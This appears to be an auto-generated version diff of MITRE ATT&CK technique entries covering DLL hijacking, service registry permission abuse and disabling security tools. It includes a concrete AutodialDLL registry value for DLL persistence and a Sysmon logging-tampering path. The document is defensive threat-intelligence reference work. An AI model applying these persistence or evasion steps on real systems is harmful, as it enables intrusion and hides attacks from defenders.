| > | means of masking actions they perform under a legitimate, tr | > | means of masking actions they perform under a legitimate, tr | ||
| > | usted, and potentially elevated system or software process. | > | usted, and potentially elevated system or software process. | ||
| > | Benign executables used to side-load payloads may not be fla | > | Benign executables used to side-load payloads may not be fla | ||
| > | gged during delivery and/or execution. Adversary payloads ma | > | gged during delivery and/or execution. Adversary payloads ma | ||
| > | y also be encrypted/packed or otherwise obfuscated until loa | > | y also be encrypted/packed or otherwise obfuscated until loa | ||
| > | ded into the memory of the trusted process. Adversaries may | > | ded into the memory of the trusted process. Adversaries may | ||
| > | also side-load other packages, such as BPLs (Borland Packag | > | also side-load other packages, such as BPLs (Borland Packag | ||
| > | e Library).(Citation: kroll bpl) ### DLL Search Order Hijac | > | e Library).(Citation: kroll bpl) Adversaries may chain DLL | ||
| > | king Adversaries may execute their own malicious payloads by | > | sideloading multiple times to fragment functionality hinderi | ||
| > | hijacking the search order that Windows uses to load DLLs. | > | ng analysis. Adversaries using multiple DLL files can split | ||
| > | This search order is a sequence of special and standard sear | > | the loader functions across different DLLs, with a main DLL | ||
| > | ch locations that a program checks when loading a DLL. An ad | > | loading the separated export functions. (Citation: Virus Bul | ||
| > | versary can plant a trojan DLL in a directory that will be p | > | letin) Spreading loader functions across multiple DLLs makes | ||
| > | rioritized by the DLL search order over the location of a le | > | analysis harder, since all files must be collected to fully | ||
| > | gitimate library. This will cause Windows to load the malici | > | understand the malware\u2019s behavior. Another method implemen | ||
| > | ous DLL when it is called for by the victim program.(Citatio | > | ts a \u201cloader-for-a-loader\u201d, where a malicious DLL\u2019s sole rol | ||
| > | n: unit 42) ### DLL Redirection Adversaries may directly mo | > | e is to load a second DLL (or a chain of DLLs) that contain | ||
| > | dify the search order via DLL redirection, which after being | > | the real payload. (Citation: Sophos) ### DLL Search Order H | ||
| > | enabled (in the Registry or via the creation of a redirecti | > | ijacking Adversaries may execute their own malicious payload | ||
| > | on file) may cause a program to load a DLL from a different | > | s by hijacking the search order that Windows uses to load DL | ||
| > | location.(Citation: Microsoft redirection)(Citation: Microso | > | Ls. This search order is a sequence of special and standard | ||
| > | ft - manifests/assembly) ### Phantom DLL Hijacking Adversar | > | search locations that a program checks when loading a DLL. A | ||
| > | ies may leverage phantom DLL hijacking by targeting referenc | > | n adversary can plant a trojan DLL in a directory that will | ||
| > | es to non-existent DLL files. They may be able to load their | > | be prioritized by the DLL search order over the location of | ||
| > | own malicious DLL by planting it with the correct name in t | > | a legitimate library. This will cause Windows to load the ma | ||
| > | he location of the missing module.(Citation: Hexacorn DLL Hi | > | licious DLL when it is called for by the victim program.(Cit | ||
| > | jacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Substit | > | ation: unit 42) ### DLL Redirection Adversaries may directl | ||
| > | ution Adversaries may target existing, valid DLL files and s | > | y modify the search order via DLL redirection, which after b | ||
| > | ubstitute them with their own malicious DLLs, planting them | > | eing enabled (in the Registry or via the creation of a redir | ||
| > | with the same name and in the same location as the valid DLL | > | ection file) may cause a program to load a DLL from a differ | ||
| > | file.(Citation: Wietze Beukema DLL Hijacking) Programs tha | > | ent location.(Citation: Microsoft redirection)(Citation: Mic | ||
| > | t fall victim to DLL hijacking may appear to behave normally | > | rosoft - manifests/assembly) ### Phantom DLL Hijacking Adve | ||
| > | because malicious DLLs may be configured to also load the l | > | rsaries may leverage phantom DLL hijacking by targeting refe | ||
| > | egitimate DLLs they were meant to replace, evading defenses. | > | rences to non-existent DLL files. They may be able to load t | ||
| > | Remote DLL hijacking can occur when a program sets its cur | > | heir own malicious DLL by planting it with the correct name | ||
| > | rent directory to a remote location, such as a Web share, be | > | in the location of the missing module.(Citation: Hexacorn DL | ||
| > | fore loading a DLL.(Citation: dll pre load owasp)(Citation: | > | L Hijacking)(Citation: Hijack DLLs CrowdStrike) ### DLL Sub | ||
| > | microsoft remote preloading) If a valid DLL is configured t | > | stitution Adversaries may target existing, valid DLL files a | ||
| > | o run at a higher privilege level, then the adversary-contro | > | nd substitute them with their own malicious DLLs, planting t | ||
| > | lled DLL that is loaded will also be executed at the higher | > | hem with the same name and in the same location as the valid | ||
| > | level. In this case, the technique could be used for privile | > | DLL file.(Citation: Wietze Beukema DLL Hijacking) Programs | ||
| > | ge escalation. | > | that fall victim to DLL hijacking may appear to behave norm | ||
| > | ally because malicious DLLs may be configured to also load t | ||||
| > | he legitimate DLLs they were meant to replace, evading defen | ||||
| > | ses. Remote DLL hijacking can occur when a program sets its | ||||
| > | current directory to a remote location, such as a Web share | ||||
| > | , before loading a DLL.(Citation: dll pre load owasp)(Citati | ||||
| > | on: microsoft remote preloading) If a valid DLL is configur | ||||
| > | ed to run at a higher privilege level, then the adversary-co | ||||
| > | ntrolled DLL that is loaded will also be executed at the hig | ||||
| > | her level. In this case, the technique could be used for pri | ||||
| > | vilege escalation. |
HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\n\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\n\n\"AutodialDLL\"=\"c:\\temp\\foo.dll\"\n\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574/011",
+ "external_id": "T1574.011"
+ },
+ {
+ "source_name": "Tweet Registry Perms Weakness",
+ "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved September 12, 2024.",
+ "url": "https://x.com/r0wdy_/status/936365549553991680"
+ },
+ {
+ "source_name": "insecure_reg_perms",
+ "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.",
+ "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/"
+ },
+ {
+ "source_name": "hexacorn",
+ "description": "hexacorn. (2015, January 13). Beyond good ol\u2019 Run key, Part 24. Retrieved September 25, 2025.",
+ "url": "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/"
+ },
+ {
+ "source_name": "Kansa Service related collectors",
+ "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
+ "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
+ },
+ {
+ "source_name": "malware_hides_service",
+ "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021.",
+ "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/"
+ },
+ {
+ "source_name": "Autoruns for Windows",
+ "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
+ "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
+ },
+ {
+ "source_name": "MDSec",
+ "description": "MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.",
+ "url": "https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/"
+ },
+ {
+ "source_name": "Registry Key Security",
+ "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN"
+ },
+ {
+ "source_name": "microsoft_services_registry_tree",
+ "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
+ },
+ {
+ "source_name": "gendigital",
+ "description": "Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.",
+ "url": "https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Travis Smith, Tripwire",
+ "Matthew Demaske, Adaptforward",
+ "Joe Gumke, U.S. Bank"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Service: Service Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.075000+00:00\", \"old_value\": \"2025-04-15 19:58:09.308000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n\\n\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,15 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n-If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n Adversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n \\n The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n \\n-Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\\n+Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n+\\n+For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n+\\n+\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n+\\n+This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"gendigital\", \"old_value\": \"troj_zegost\", \"new_path\": \"root['external_references'][10]['source_name']\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.\", \"old_value\": \"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.\", \"new_path\": \"root['external_references'][10]['description']\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies\", \"old_value\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost\", \"new_path\": \"root['external_references'][10]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"hexacorn\", \"description\": \"hexacorn. (2015, January 13). Beyond good ol\\u2019 Run key, Part 24. Retrieved September 25, 2025.\", \"url\": \"https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/\"}, \"root['external_references'][7]\": {\"source_name\": \"MDSec\", \"description\": \"MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.\", \"url\": \"https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/\"}, \"root['x_mitre_contributors'][2]\": \"Joe Gumke, U.S. Bank\"}}",
+ "previous_version": "1.2",
+ "version_change": "1.2 \u2192 1.3",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Flaws in the pe | ||
| > | use flaws in the permissions for Registry keys related to s | > | rmissions for Registry keys related to services can allow ad | ||
| > | ervices to redirect from the originally specified executable | > | versaries to redirect the originally specified executable to | ||
| > | to one that they control, in order to launch their own code | > | one they control, launching their own code when a service s | ||
| > | when a service starts. Windows stores local service configu | > | tarts. Windows stores local service configuration informatio | ||
| > | ration information in the Registry under <code>HKLM\\SYSTEM\\C | > | n in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\ | ||
| > | urrentControlSet\\Services</code>. The information stored und | > | Services</code>. The information stored under a service's Re | ||
| > | er a service's Registry keys can be manipulated to modify a | > | gistry keys can be manipulated to modify a service's executi | ||
| > | service's execution parameters through tools such as the ser | > | on parameters through tools such as the service controller, | ||
| > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | ||
| > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | ||
| > | /software/S0075). Access to Registry keys is controlled thro | > | Access to Registry keys is controlled through access contro | ||
| > | ugh access control lists and user permissions. (Citation: Re | > | l lists and user permissions. (Citation: Registry Key Securi | ||
| > | gistry Key Security)(Citation: malware_hides_service) If th | > | ty)(Citation: malware_hides_service) If the permissions for | ||
| > | e permissions for users and groups are not properly set and | > | users and groups are not properly set and allow access to t | ||
| > | allow access to the Registry keys for a service, adversaries | > | he Registry keys for a service, adversaries may change the s | ||
| > | may change the service's binPath/ImagePath to point to a di | > | ervice's binPath/ImagePath to point to a different executabl | ||
| > | fferent executable under their control. When the service sta | > | e under their control. When the service starts or is restart | ||
| > | rts or is restarted, then the adversary-controlled program w | > | ed, the adversary-controlled program will execute, allowing | ||
| > | ill execute, allowing the adversary to establish persistence | > | the adversary to establish persistence and/or privilege esca | ||
| > | and/or privilege escalation to the account context the serv | > | lation to the account context the service is set to execute | ||
| > | ice is set to execute under (local/domain account, SYSTEM, L | > | under (local/domain account, SYSTEM, LocalService, or Networ | ||
| > | ocalService, or NetworkService). Adversaries may also alter | > | kService). Adversaries may also alter other Registry keys i | ||
| > | other Registry keys in the service\u2019s Registry tree. For exa | > | n the service\u2019s Registry tree. For example, the <code>Failur | ||
| > | mple, the <code>FailureCommand</code> key may be changed so | > | eCommand</code> key may be changed so that the service is ex | ||
| > | that the service is executed in an elevated context anytime | > | ecuted in an elevated context anytime the service fails or i | ||
| > | the service fails or is intentionally corrupted.(Citation: K | > | s intentionally corrupted.(Citation: Kansa Service related c | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | > | ollectors)(Citation: Tweet Registry Perms Weakness) The <co | ||
| > | rms Weakness) The <code>Performance</code> key contains the | > | de>Performance</code> key contains the name of a driver serv | ||
| > | name of a driver service's performance DLL and the names of | > | ice's performance DLL and the names of several exported func | ||
| > | several exported functions in the DLL.(Citation: microsoft_ | > | tions in the DLL.(Citation: microsoft_services_registry_tree | ||
| > | services_registry_tree) If the <code>Performance</code> key | > | ) If the <code>Performance</code> key is not already present | ||
| > | is not already present and if an adversary-controlled user h | > | and if an adversary-controlled user has the <code>Create Su | ||
| > | as the <code>Create Subkey</code> permission, adversaries ma | > | bkey</code> permission, adversaries may create the <code>Per | ||
| > | y create the <code>Performance</code> key in the service\u2019s R | > | formance</code> key in the service\u2019s Registry tree to point | ||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | > | to a malicious DLL.(Citation: insecure_reg_perms) Adversari | ||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | > | es may also add the <code>Parameters</code> key, which can r | ||
| > | code> key, which stores driver-specific data, or other custo | > | eference malicious drivers file paths. This technique has be | ||
| > | m subkeys for their malicious services to establish persiste | > | en identified to be a method of abuse by configuring DLL fil | ||
| > | nce or enable other malicious activities.(Citation: microsof | > | e paths within the <code>Parameters</code> key of a given se | ||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | > | rvices registry configuration. By placing and configuring th | ||
| > | y, If adversaries launch their malicious services using svch | > | e <code>Parameters</code> key to reference a malicious DLL, | ||
| > | ost.exe, the service\u2019s file may be identified using <code>HK | > | adversaries can ensure that their code is loaded persistentl | ||
| > | EY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicena | > | y whenever the associated service or library is invoked. Fo | ||
| > | me\\Parameters\\ServiceDll</code>.(Citation: malware_hides_ser | > | r example, the registry path(Citation: MDSec) <code>HKEY_LOC | ||
| > | vice) | > | AL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parame | ||
| > | ters</code>(Citation: hexacorn)(Citation: gendigital) contai | ||||
| > | ns the <code>AutodiaDLL</code> value, which specifies the DL | ||||
| > | L to be loaded for autodial funcitionality. An adversary cou | ||||
| > | ld set the <code>AutodiaDLL</code> to point to a hijacked or | ||||
| > | malicious DLL: <code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code | ||||
| > | > This ensures persistence, as it causes the DLL (in this c | ||||
| > | ase, foo.dll) to be loaded each time the Winsock 2 library i | ||||
| > | s invoked. |
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/001",
+ "external_id": "T1562.001"
+ },
+ {
+ "source_name": "Analysis of FG-IR-22-369",
+ "description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.",
+ "url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"
+ },
+ {
+ "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
+ "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
+ "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
+ },
+ {
+ "source_name": "BlackBerry WhisperGate 2022",
+ "description": "BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.",
